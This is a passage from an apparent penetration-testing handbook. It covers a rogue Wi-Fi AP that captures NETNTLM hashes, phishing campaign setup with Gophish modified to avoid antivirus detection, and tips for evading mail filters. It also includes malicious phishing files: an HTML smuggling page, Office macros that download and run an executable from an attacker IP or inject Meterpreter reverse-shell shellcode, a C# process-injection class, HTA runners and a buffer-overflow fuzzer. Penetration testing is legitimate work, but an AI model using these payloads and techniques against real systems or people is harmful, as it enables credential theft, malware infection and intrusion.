sed -i 's/^ctrl_interface=\/var\/run\/hostapd$/&-wpe/' /etc/hostapd-wpe/hostapd-wpe.conf
```

**Configuration**

Then, we need to modify the `hostapd-wpe.conf` file setting the wireless interface that we are going to use, the name of the ssid that we want to spoof and the channel where this AP emits.

```bash
sudo vim /etc/hostapd-wpe/hostapd-wpe.conf 
[...]
# Interface - Probably wlan0 for 802.11, eth0 for wired
interface=<WIRELESS_IF>
[...]
# 802.11 Options
ssid=<SSID_NAME>
channel=<VICTIM_SSID_CHANNEL>
```

**Attack**

After that, we need to deautenticate the victim AP, execute hostapd-wpe and wait for users to log in. For doing so, execute the following commands.

**Deautenticate the AP**:

```bash
aireplay-ng -0 <#PACKETS_TO_SEND> -a <AP_BSSID> <IF>
```

**Execute hostapd-wpe**:

```bash
sudo hostapd-wpe -i <IF> -k -s /etc/hostapd-wpe/hostapd-wpe.conf

[...]

mschapv2: Thu Jun  9 07:04:16 2022
         username:      pepito
         challenge:     35:0a:18:49:63:83:ee:76
         response:      fc:65:5a:02:73:9f:89:a5:95:e5:8e:8f:4b:1b:72:0e:9e:d1:04:03:ee:b5:bd:ea
         jtr NETNTLM:           pepito:$NETNTLM$350a18496383ee76$fc655a02739f89a595e58e8f4b1b720e9ed10403eeb5bdea
         hashcat NETNTLM:       pepito::::fc655a02739f89a595e58e8f4b1b720e9ed10403eeb5bdea:350a18496383ee76
```

* `-k`: Karma Mode (Respond to all probes)
* `-s`: Return Success where possible

**Note**: The device is never going to be able to connect to the AP and get Internet, automatically it will be disconnected due to wrong credentials. That occurs because our fake radius server does not have the credentials that the victim is providing.

Finally, we need to put every `hashcat NETNTLM` into a file for offline cracking.

```bash
hashcat -m 5500 <HASHCAT_NETNTLM_FILE> <WORLDIST>
```

## Simple Radius AP with Internet

It may be the case that you need an access point with internet access for personal reasons or for man-in-the-middle attacks. Whatever the case, here's how to do it.

**Note**: The environment is a VM Kali machine, it might not work on other distros or require more steps.

**Note 2**: Depending on your network card, you might not be able to log in despite the ESSID being broadcasted, try using another.

### Installation

1\. you need to install the following programs.

```bash
sudo apt install hostapd-wpe hostapd dnsmasq iptables-persistent -y
```

2\. Modify the file `/etc/dnsmasq.conf` for **dnsmasq** to obtain a DHCP server.

```bash
interface=wlan0
listen-address=127.0.0.1
dhcp-range=10.0.0.3,10.0.0.20,255.255.255.0,12h
server=8.8.8.8
server=8.8.4.4
```

3\. Because Kali comes with **systemd-resolved** you avoid the conflicts with dnsmasq. To do so, change the file `/etc/systemd/resolved.conf` and add the following line.

```bash
DNSStubListener=no
```

4\. Add a user to login into the AP. For doing so, you need to edit the file `/etc/hostapd-wpe/hostapd-wpe.eap_user`. Here you have some examples:

```bash
* PEAP,TTLS,TLS,FAST 
"test"      TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2  "test"  [2]
"user"      TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2  "password"  [2]
```

5\. Configure the machine to allow IP forward persistently.

```bash
echo net.ipv4.ip_forward=1 | sudo tee -a /etc/sysctl.conf
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
```

### Execution

Every time, you restart your virtual machine you will need to set a static IP to your external network card and restart dnsmasq to detect the wlan0 interface with an IP.

```bash
sudo ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0
sudo systemctl restart dnsmasq
```

Finally, you need to execute **hostapd** with the configuration file at `/etc/hostapd-wpe/hostapd-wpe.conf`. In there, you can change the channel, ESSID, protocols, etc.

```bash
sudo hostapd -i wlan0 /etc/hostapd-wpe/hostapd-wpe.conf 
```

## References

* [Hunting Down & Cracking WEP Networks](https://null-byte.wonderhowto.com/how-to/hack-wi-fi-hunting-down-cracking-wep-networks-0183712/)
* [Cracking WPA2-PSK Passwords Using Aircrack-Ng](https://null-byte.wonderhowto.com/how-to/hack-wi-fi-cracking-wpa2-psk-passwords-using-aircrack-ng-0148366/)
* [Wifi Penetration Testing Guide](https://github.com/ricardojoserf/wifi-pentesting-guide)
* [Wireless tools](https://en.kali.tools/all/?category=wireless)

### WPS

* [WPS Pixie Dust attack](https://mlg556.github.io/gnulinux/2019/02/05/bruteforce-wps-with-reaver-and-pixiewps.html)
* [Hacking WPS Using Reaver and Pixie Dust Attack](https://axcheron.github.io/hacking-wps-using-reaver-and-pixie-dust-attack/)

### Hostpad-wpe

* [Attacking WPA Enterprise Wireless Network](https://pentest.blog/attacking-wpa-enterprise-wireless-network/)
* [Hacking WPA Enterprise with Kali Linux](https://www.offensive-security.com/penetration-testing/hacking-wpa-enterprise-with-kali-linux/)
* [Hostapd-wpe on the Pineapple NANO for WPA2-Enterprise Attacks](https://github.com/metalkey/pineapple-nano-hostapd-wpe) (Not tested)
* [Hostpad-wpe (OpenWRT 19.07)](https://github.com/jekkos/hostapd-wpe-openwrt)

### Simple Radius AP

* [Creating a WPA2 Enterprise Access Point Using Linux](https://www.bordergate.co.uk/wpa2-enteprise-access-point-with-linux/)
* [Routing between two networks on linux?](https://serverfault.com/questions/453254/routing-between-two-networks-on-linux)
* [How to avoid conflicts between dnsmasq and systemd-resolved?](https://unix.stackexchange.com/questions/304050/how-to-avoid-conflicts-between-dnsmasq-and-systemd-resolved)


# HUMINT

## Introduction

The pentester uses psychological manipulation of people to obtain information or perform actions they do not want to do.

## Bribing

Bribing the target organisation's staff by offering money or other inducements to obtain any information or advantage in the attack. Poorly paid or disgruntled employees may be prone to collaborate in such attacks.

## Phishing

Phishing is a type of social engineering attack often used to trick the victim into doing things, such as downloading malware or directing them to a scam website, for obtaining credentials, with the purpose of gaining a foothold in corporate networks.

## Spear phishing

Spear phishing targets specific individuals instead of a wide group of people. It is a more in-depth version of phishing that requires special knowledge about an organisation, including its corporate structure.

## Vishing

It is a fraudulent phone call designed to obtain sensitive information such as login credentials where the attacker impersonates a company, a trusted person or a fellow employee. For instance, the attacker might call pretending to be the company's support agent requiring your login information for a system update. New employees are often vulnerable to these scams, but this can happen to anyone.

## Phishing methodology

An attack might play out as follows:

1. A perpetrator researches the names, emails and phone numbers of employees within the organisation using OSINT or HUMINT techniques.
   1. For each employee, search for login portals used by the victim to impersonate.
2. Prepare the landing page: A fake web page similar to the original one so the end-user trusts it and provides us with their credentials.
   1. Create or import the web page that will be impersonated.
   2. Buy a similar domain: Some tools create lookalike domains with typos so you can register them, such as [dnstwist](https://dnstwist.it), [urlcrazy](https://github.com/urbanadventurer/urlcrazy) and [Typo Generator](https://www.digitalcoding.com/tools/typo-generator.html).
   3. Configure the hosting.
3. Prepare the email template: The email content, the email addresses and names of targets,
4. Send the emails: phishing emails should be sent out in a phased manner, over a period of hours or days, depending on the number of employees in scope, and then the email campaign will stay open/active for a week or two to allow for recipients who do not read their email daily.

Finally, there are tools like [gophis](https://getgophish.com) and [SocialFish](https://github.com/UndeadSec/SocialFish) that create the phishing infrastructure (the landing page and sending email), so the attacker only has to provide the web to impersonate the email template, the sending email profile and the list of victim emails. But, if you want more advanced attacks, try setting up [evilgophish](https://github.com/fin3ss3g0d/evilgophish).

### Evasion detection techniques

1. **Use legitimate links**: To evade detection, add legitimate links to their phishing emails because many email filters will scan some legitimate links and assume the email is legit.
2. **Mix legitimate and malicious code:** A known phishing email or malware virus contains a signature that can be detected by EOP. One technique for obfuscating the signature is to mix legitimate and malicious code. For example, include CSS and JavaScript from real Microsoft webpages, such as the Office 365 login page. Other techniques include encoding characters at random, adding invisible text, inserting white spaces... The goal is to make each email appear unique to the filter.
3. **Abuse redirections**: To quell victims into thinking nothing is odd, redirect them to the legitimate web page after the phishing attack.
4. **Obfuscating brand logos**: logos include HTML attributes that can be detected by an email filter that is scanning for signatures. To avoid detection, alter brand logos in ways that are invisible to the naked eye but unique to a filter.

## References

* [Social engineering penetration testing](https://whatis.techtarget.com/definition/social-engineering-penetration-testing#:~:text=Social%20engineering%20penetration%20testing%20is,to%20that%20type%20of%20exploit)
* [Phishing methodology](https://book.hacktricks.xyz/phishing-methodology)
* [5 Common Phishing Techniques](https://www.vadesecure.com/en/blog/5-common-phishing-techniques)


# Gophish (Phishing)

## Introduction

This section provides the general steps to perform a phishing campaign and the commands to retrieve the campaign results.

## Pre-Installation

Before installing Gophish, perform the following changes, so the phishing platform is not detected by modern AVs.

* [ ] **Default "404 page not found" web page**: Replace the function `http.NotFound(w, r)` on `controllers/phish.go` by a function that returns a [custom template](https://raw.githubusercontent.com/edermi/gophish_mods/master/controllers/phish.go).
* [ ] **Email headers:**

```bash
sed -i 's/X-Gophish-Contact/<NEW_HEADER>/g' models/*.go
```

* [ ] **Signature**:

```bash
sed -i 's/X-Gophish-Signature/<NEW_SIGNATURE>/g' webhook/webhook.go
```

* [ ] **Server name**:

```bash
sed -i 's/const ServerName = "gophish"/const ServerName = "<NEW_SERVERNAME>"/' config/config.go
```

* [ ] **Default phishing parameter**:

```bash
sed -i 's/const RecipientParameter = "rid"/const RecipientParameter = "<NEW_PARAMETER>"/g' models/campaign.go
```

## Installation

To install Gophish, simply execute the following command.

```bash
git clone https://github.com/gophish/gophish.git
cd gophish
sudo go build
```

### SQLite Error

During Gophish installation, you might encounter the following [**issue**](https://github.com/mattn/go-sqlite3/issues/803).

```bash
go install github.com/gophish/gophish@latest
go: downloading github.com/gophish/gophish v0.11.0
# github.com/mattn/go-sqlite3
sqlite3-binding.c: In function ‘sqlite3SelectNew’:
sqlite3-binding.c:128049:10: warning: function may return address of local variable [-Wreturn-local-addr]
128049 |   return pNew;
       |          ^~~~
sqlite3-binding.c:128009:10: note: declared here
128009 |   Select standin;
       |          ^~~~~~~
```

To fix this, you must compile it with the following environment variable.

```bash
sudo bash -c 'export CGO_CFLAGS="-g -O2 -Wno-return-local-addr"; go build'
```

### Certificate creation

In order to have a certificate signed by AC to make the phishing page more trusted, you can use **Let's encrypt**.

```bash
sudo apt-get update
sudo apt-get install certbot
```

The easiest way to verify the domain is through DNS, so you only have to add the TXT record that the script tells you during its execution.

```bash
sudo certbot certonly -d <PHISHING_DOMAIN> --manual --preferred-challenges dns
```

After that, the certificate will be generated on your system.

```bash
IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/<DOMAIN>/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/<DOMAIN>/privkey.pem
   Your certificate will expire on 2022-12-11. To obtain a new or
   tweaked version of this certificate in the future, simply run
   certbot again. To non-interactively renew *all* of your
   certificates, run "certbot renew"
```

Then, copy the files into the Gophish directory and modify the `config.json` like so:

```json
[...]
	"phish_server": {
    	"listen_url": "0.0.0.0:443",
        "use_tls": true,
        "cert_path": "fullchain.pem",
        "key_path": "privkey.pem"
[...]
```

## Execution

To execute Gophish, execute the following commands.

```bash
cd ~/go/pkg/mod/github.com/gophish/gophish@v0.12.0
sudo ./gophish
```

**Note**: If it is the first time you are running Gophish, you will be prompted with the password for the administration interface on the CLI. After logging in, you will be requested to change it.

```bash
OK    20201201000000_0.11.0_account_locked.sql
OK    20220321133237_0.4.1_envelope_sender.sql
time="2022-09-12T03:29:40-04:00" level=info msg="Please login with the username admin and the password c081abbdf3183a53"
time="2022-09-12T03:29:40-04:00" level=info msg="Creating new self-signed certificates for administration interface"
```

### JavaScript library error

If you see that the admin web interface doesn't work and some errors appear on the browser console like:

```bash
The resource from “https://127.0.0.1:3333/js/src/vendor/ckeditor/adapters/jquery.js” was blocked due to MIME type (“text/plain”) mismatch...
```

If you try to access the URL, you will obtain a 404 not found. That is because they have not been downloaded.

To fix that problem, execute the following commands.

```bash
cd /tmp/
git clone -q https://github.com/gophish/gophish.git
sudo cp -r gophish/static/js/src/vendor/ ~/go/pkg/mod/github.com/gophish/gophish@*/static/js/src/
```

### Domain - DNS

In order to perform the phishing campaign, you will need to buy a fake DNS domain that must point to the Gophish instance, where the landing page will be located.

### Emails - SMTP Server

You will require an SMTP server to perform the phishing campaign to send the phishing emails to your targets.

To do so, you only need to install **postfix**.

```bash
sudo apt update && sudo apt -q install postfix -y
```

Then, the sending profile will look like this:

![New sending profile](/files/a9fRzP5WnIt3LUf1MnsB)

**Warning**: If your postfix server is running on a VPS, you might encounter any outgoing traffic pointing to port 25 is been rejected; that is because the VPS policy doesn't allow outgoing traffic to port 25 to prevent users from performing phishing attacks.

However, the easiest way to bypass this is to install postfix your VM and redirect the traffic using **Ngrok**

```bash
ngrok config add-authtoken <YOUR_AUTH_TOKEN>
ngrok tcp 25
```

Finally, you will only need to set the domain and port in the "Host" field provided by Ngrok.

### Landing page

To create a landing page, you can craft your own, download some templates or clone it.

**Phishing templates**:

* [Zphiser's templates](https://github.com/htr-tech/zphisher/tree/master/.sites)
* [PyPhisher's templates](https://github.com/KasRoudra/PyPhisher/releases/download/v2.0/websites.zip)

**Web page cloner** (Might not work in every case):

* [PyPhisher](https://github.com/KasRoudra/PyPhisher)
* [goclone](https://github.com/imthaghost/goclone)

Furthermore, if you want to obtain information provided by the target, then the data must be submitted through a POST request to the landing page; the name of the variables can be whatever you want, else will not be gathered by Gophis.

Nonetheless, if you want to use the below commands to retrieve the username and password from the `EVENTS_RAW.CSV`, name the variables `username` and `password`.

Finally, if you want to add static files such as images, fonts, and files to be downloaded... you need to upload them into the folder `<GOPHIS_PATH>/static/endpoint/`. Then, you must do the reference with the URL `/static/<FILE>`.

## Parsing results

Once the campaign is over, you might want to obtain data about the number of clicked links, data submissions and obtain submitted usernames and passwords.

* **Obtain users who clicked the link.**

```bash
cat <RESULTS.CSV> | grep "Clicked Link" | csvtool format '%(9)\n' - | sort -u > Clicked_link.txt
```

* **Obtain users who submitted data.**

```bash
cat <RESULTS.CSV> | grep "Submitted Data" | csvtool format '%(9)\n' - | sort -u > Submitted_Data.txt
```

* **Extract all usernames and passwords from the EVENTS CSV file.**

```bash
csvtool format '%(5)\n' <EVENTS_RAW.CSV> | grep -i password | jq '.payload | .username[0] +";" +.password[0]' | sort -u | tr -d '"' > credentials
```

## References

* [Gophish - Installation Guide](https://docs.getgophish.com/user-guide/installation)
* [Gophish - Let's encrypt](https://www.n00py.io/2017/09/phishing-with-gophish-and-letsencrypt/)
* [Gophish - Documentation](https://docs.getgophish.com/user-guide/)
* [Phishing with GoPhish and DigitalOcean](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean)
* [Gophish MODs](https://www.redteam.cafe/phishing/gophish-mods)


# Malicious Phishing Files

This section contains several ways to infect a victim by sending a malicious file.

## Sending emails

In case you are performing spear phishing, you can use the following commands to send the phishing email.

{% code overflow="wrap" %}

```bash
swaks -t <VICTIM_EMAIL> -f <YOUR_FAKE_EMAIL> --server <SMTP_EMAIL> --body 'click me http://<YOUR_IP>/<MALWARE>' --header "Subject: Important" --add-header "Really: 1.0" --add-header "Content-Type: text/html"  [--attach <ATTACHED_FILE>]

sendemail -t <VICTIM_EMAIL> -f <YOUR_FAKE_EMAIL> -s <SMTP_EMAIL> -m "click me http://<YOUR_IP>/<MALWARE>" -u "Important!!!" [-a <ATTACHED_FILE>]
```

{% endcode %}

## HTML Smuggling

This technique consists of attackers embedding malicious files into HTML or JavaScript code within seemingly harmless files or documents. In this case, the attacker will base64 encode its malicious file and add it into an HTML file. Then, once the victim accesses the HTML file, the malicious file will be downloaded into the machine, but it won't be executed unless the attacker tricks the victim into doing so.

```html
<html>
    <body>
        <script>
            function base64ToArrayBuffer(base64) {
                var binary_string = window.atob(base64);
                var len = binary_string.length;
                var bytes = new Uint8Array(len);
                for (var i = 0; i < len; i++) {
                    bytes[i] = binary_string.charCodeAt(i);
                }
                return bytes.buffer;
            }
            
            var fileName = '<MALICIOUS_FILE_NAME>';
            <!-- base64 -w 0 <FILE.EXE> -->
            var file = '<B64_ENCODED_FILE>';
            var data = base64ToArrayBuffer(file);
            var blob = new Blob([data], {
                type: 'octet/stream'
            });
            
            
            if (window.navigator.msSaveOrOpenBlob) {
                window.navigator.msSaveOrOpenBlob(blob, fileName);
            } else {
                var a = document.createElement('a');
                document.body.appendChild(a);
                a.style = 'display: none';
                var url = window.URL.createObjectURL(blob);
                a.href = url;
                a.download = fileName;
                a.click();
                window.URL.revokeObjectURL(url);
            }
        </script>
    </body> 
</html>
```

## Office

Thanks to Microsoft Office document macros, they can be used to infect the victim's computer in several ways.&#x20;

### File Dropper

Waits two seconds  (`Wait (2)`)  for the file to be downloaded and then it is executed.

```visual-basic
Sub Document_Open()
    MyMacro
End Sub
Sub AutoOpen()
    MyMacro
End Sub

Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub

Sub MyMacro()
    If ActiveDocument.Name <> "runner.doc" Then
		Exit Sub
    End If
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://<YOUR_IP>/met.exe','met.exe')"
    Shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.path + "\met.exe"
    Wait (2)
    Shell exePath, vbHide
End Sub
```

### Win32Runner

The following macro allocates the Metasploit's assembly code into memory and then executes it. However, there is a caveat because if the victim closes Office the reverse shell will be closed, so you need to migrate the reverse shell to another process.

<pre class="language-visual-basic"><code class="lang-visual-basic"><strong>#If VBA7 Then
</strong>    Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As LongPtr, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As LongPtr) As LongPtr
#Else
    Private Declare Function CreateThread Lib "KERNEL32" Alias "CreateThread" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As Long, ThreadParameter As Long, ByVal CreateFlags As Long, ByRef ThreadId As Long) As Long
    Private Declare Function VirtualAlloc Lib "KERNEL32" Alias "VirtualAlloc" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function RtlMoveMemory Lib "KERNEL32" Alias "RtlMoveMemory" (ByVal lDestination As Long, ByRef sSource As Any, ByVal lLength As Long) As Long
#End If

Sub Document_Open()
    MyMacro
End Sub
Sub AutoOpen()
    MyMacro
End Sub

Function MyMacro()
  Dim buf As Variant
  Dim addr As LongPtr
  Dim counter As Long
  Dim data As Long
  If ActiveDocument.Name &#x3C;> "runner.doc" Then
	Exit Function
  End If

' msfconsole -x "use multi/handler; set payload windows/meterpreter/reverse_https; setg LHOST 0.0.0.0; setg EXITFUNC thread; set LPORT 443; set AutoRunScript 'migrate -n explorer.exe'; exploit -j"
' msfvenom -p windows/meterpreter/reverse_https LHOST=&#x3C;YOUR_IP> LPORT=443 EXITFUNC=thread -f powershell -v buf | tr -d '\n' |  xclip -sel clipboard
  buf = Array(&#x3C;MSFVENOM_PAYLOAD>)

  addr = VirtualAlloc(0, UBound(buf), &#x26;H3000, &#x26;H40)
  For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
  Next counter

  res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
</code></pre>

### Win32Runner - BadAssMacros (Tool)

The [BadAsssMacros ](https://github.com/Inf0secRabbit/BadAssMacros)is a tool used to generate malicious macros leveraging techniques like VBA Purging and Shellcode Obfuscation to evade AV engines. Nonetheless, **it only works on x86 office**. For x64 instances, you need to change the generated as stated in the [repository](https://github.com/Inf0secRabbit/BadAssMacros/issues/4).

## HTA

A `.hta` (HTML Application) file is a type of file format used in Windows to create applications with an HTML and scripting language-based user interface. .hta files are executed using the Microsoft HTML Application Host (mshta.exe) rather than a web browser. They allow developers to create standalone applications that can have a graphical user interface (GUI) using HTML, CSS, and JavaScript.

Thus, based on the previous information, you can create your own `.hta` that will run your malicious code.

```html
<html>
<head>
	<script language="JScript">
		var shell = new ActiveXObject("WScript.Shell");
		var res = shell.Run('<YOUR_MALICIOUS_COMMAND>');
	</script>
</head>
<body>
	<script language="JScript">
		self.close();
	</script>
</body>
</html>
```

### HTA - DotNetToJScript

The [DotNetToJScript ](https://github.com/tyranid/DotNetToJScript)tool generates a JScript which bootstraps an arbitrary .NET Assembly and class.&#x20;

1. Modify `ExampleAssembly.cs` to obtain a reverse shell with Metasploit and compile the project.

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

[ComVisible(true)]
public class TestClass
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    public TestClass()
    {
        // Obtain explorer.exe handle
        IntPtr hProcess = OpenProcess(0x001F0FFF, false, Process.GetProcessesByName("explorer")[0].Id);

        // Allocate memory on explorer.exe
        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

        // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<YOUR_IP> LPORT=443 EXITFUNC=thread -f csharp -v buf
        // msfconsole -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; setg LHOST 0.0.0.0; setg EXITFUNC thread; set LPORT 443; exploit"
        byte[] buf = <MSFVENOM_PAYLOAD>


        int size = buf.Length;
        IntPtr outSize;
        // Write msfvenom payload into explorer memory
        WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
        // Execute the just copied code
        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
    }

    public void RunProcess(string path)
    {
        Process.Start(path);
    }
}
```

2. Encode the `ExampleAssembly.dll` into JScript.

```bash
cd DotNetToJScript-master\
.\DotNetToJScript\bin\Debug\DotNetToJScript.exe .\ExampleAssembly\bin\Debug\ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
notepad demo.js
```

3. Add the output of `demo.js` into `runner.hta`.

```html
<html>
<head>
	<script language="JScript">
		<DEMO.JS>
	</script>
</head>
<body>
	<script language="JScript">
		self.close();
	</script>
</body>
</html>
```


# Phishing Evaluation

## Introduction

After a phishing campaign has been completed, it is time to give the obtained data to the customer. Furthermore, most customers need a grade in order to explain to their superiors how bad the results have been.

Thus, you must provide your customers with an objective result based on a comprehensive analysis of the phishing campaign's outcomes.

## Result analysis

First, let's assign some values to the actions appearing on GoPhis.

| Phishing actions                       | Value |
| -------------------------------------- | ----- |
| Open the email                         | 1     |
| Click on the email link                | 3     |
| Write credentials on the phishing page | 5     |

Then, obtain the highest value achieved in a phishing campaign and obtain a set of intervals in which the grades will be divided.

The highest can be achieved with the following formula.

$$
MaximumScore = NumEmailsSent\*\sum Score Of Each Action=NumEmailsSent\*8
$$

After that, assign the percentages of victims required to obtain a certain grade, as can be seen in this table:

| Business Size (BS)/Intervals | 100000 Employees | 10000 Employees | 1000 Employees | 100Employees | 10 Employees |
| ---------------------------- | ---------------- | --------------- | -------------- | ------------ | ------------ |
| **Excellent**                | 0,20%            | 1%              | 1%             | %1           | 10%          |
| **Acceptable**               | 0,35%            | 1,5%            | 3%             | 5%           | 20%          |
| **Improvable**               | 0,5%             | 5%              | 5%             | 10%          | 30%          |
| **Unsatisfactory**           | 1%               | 10%             | 15%            | 20%          | 40%          |

Each value represents the maximum number of employees who must complete every action that makes up the phishing campaign to obtain the security level.

For example, a company with between 1,000 and 10,000 employees must have a maximum of 1% of employees completing all actions to be considered to have an excellent level of security.

After that, the intervals are determined using the following formula:

| Level          | Interval                                                        |
| -------------- | --------------------------------------------------------------- |
| Excellent      | \[0 , MaxScore\*BS\[Excellent] \[                               |
| Acceptable     | \[ MaxScore\*BS\[Excellent] , MaxScore\*BS\[Acceptable] \[      |
| Improvable     | \[ MaxScore\*BS\[Acceptable] , MaxScore\*BS\[Improvable] \[     |
| Unsatisfactory | \[ MaxScore\*BS\[Improvable] , MaxScore\*BS\[Unsatisfactory] \[ |
| Deficient      | \[MaxScore\*BS\[Unsatisfactory], MaxScore ]                     |

The value of the phishing campaign is calculated with the following formula:

$$
PhishinScore=\sum\_{Phishing Actions}(ActionValue\*NumberOfVictims)
$$

Finally, you only have to relate the score to the interval to obtain the grade.

## Phishing Evaluation Template

> Because this explanation may have been a bit complicated to implement, I have prepared a spreadsheet for you to play around with.

{% file src="/files/xtDOQQH1f3PhQi29KchF" %}


# BoF - Windows(x86)

## Introduction

This kind of exploitation you will only find in bizarre Windows systems (OSCP EXAM) that do not support 64 bits architecture.

## Setting up the environment

To exploit a buffer overflow is required a test environment where the researcher can experiment with the vulnerable program for obtaining RCE instead of a DoS once it is executed against the victim.

To set up the environment, you need to download and install the following.

* [Windows 7 x86](https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/). Do not forget to change the keyboard layout at`Region and Language/Keyboards and Languages/Change keyboards...`
* [Google Chrome](https://www.google.com/chrome/?brand=CHBD\&brand=BNSD\&gclid=CjwKCAjwi9-HBhACEiwAPzUhHPp1iUnv3q5O5faCfDIjpuEEWaoRX9dFxp2OncMoKLTt0ufvlzp3_RoC8qoQAvD_BwE\&gclsrc=aw.ds)
* [Immunity Debugger](https://www.immunityinc.com/products/debugger/index.html)
* [monay.py](https://raw.githubusercontent.com/corelan/mona/master/mona.py): Add the file to the folder `C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands`.
* [nc.exe](https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip)
* The vulnerable program version

## Discovering the offset

The attacker should follow these steps to determine how many bytes are necessary to crash the service.

1. Run immunity debugger as administrator.
2. Set the **mona** directory.

```bash
!mona config -set workingfolder C:\mona\
```

1. Open the .exe file and press "PLAY" `F9`.
2. Run the fuzzer against the remote program.

**Fuzzer.py**

```python
#!/usr/bin/python
import sys, socket, time

R_HOST = '10.10.95.169'
port = 1337
timeout = 5
counter = 100
prefix = "OVERFLOW1 "

while True:
    try:
        payload = prefix + "A"*counter
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((R_HOST, port))
        s.recv(1024)
        print '[+] Sending %s bytes...' % (len(payload) - len(prefix))
        s.send(payload + '\r\n')
        s.recv(1024)
        print '[+] Done'
    except Exception as e:
        print '[!] You cannot connect to the programme. You may have cracked it.'
        print e
        sys.exit(0)
    counter = counter + 100
    time.sleep(1)
```

Now, based on the last set of bytes that was sent to the server, you need to create a pattern for obtaining the specific number of bytes required to crash the service.

```bash
!mona pattern_create <COUNTER>
```

The file `C:\mona\pattern.txt` with the generated pattern will have been created.

Then, modify the script, adapting it to the executable you want to exploit and add the ASCII pattern to the `buffer` variable and execute it.

```bash
python2.7 bof.py
```

**bof.py**

```python
#!/usr/bin/python 
import sys, socket

ip = '127.0.0.1'
port = 9999

prefix = "OVERFLOW1 " # Si se requiere de un prefijo
pattern = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = "\x90"*0 # 100
payload = ""

buffer = prefix + pattern + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(buffer + "\r\n")
  print("Done!")
except Exception as e :
  print("Could not connect.")
  print(e)
```

Once the script is executed, the Immunity Debugger will have the status **Paused**, copy the value of the **EIP** registry and execute the following command.

```bash
!mona pattern_offset <EIP_value>
```

The result is a text similar to this one:

```bash
Pattern 0cp1 (<EIP_value>) found in cyclic pattern at position <OFFSET>
```

Modify the `buffer` variable in order to check that the offset is correct.

```python
buffer = <OFFSET>*'A'+'BBBB'+'C'*100
```

Restart the program `Ctrl+F2`, hit PLAY `F9` and re-launch the exploit, getting an "Access violation" with the EIP register full of Bs (0x42).

## Finding bad characters

Generate the **byte array**, to find the **bad chars** with the following command.

**Note**: Remove the Null byte because it is always a bad char by default.

```bash
!mona bytearray -b "\x00"
```

The byte array can be found in `C:\mona\bytearray.txt`.

```bash
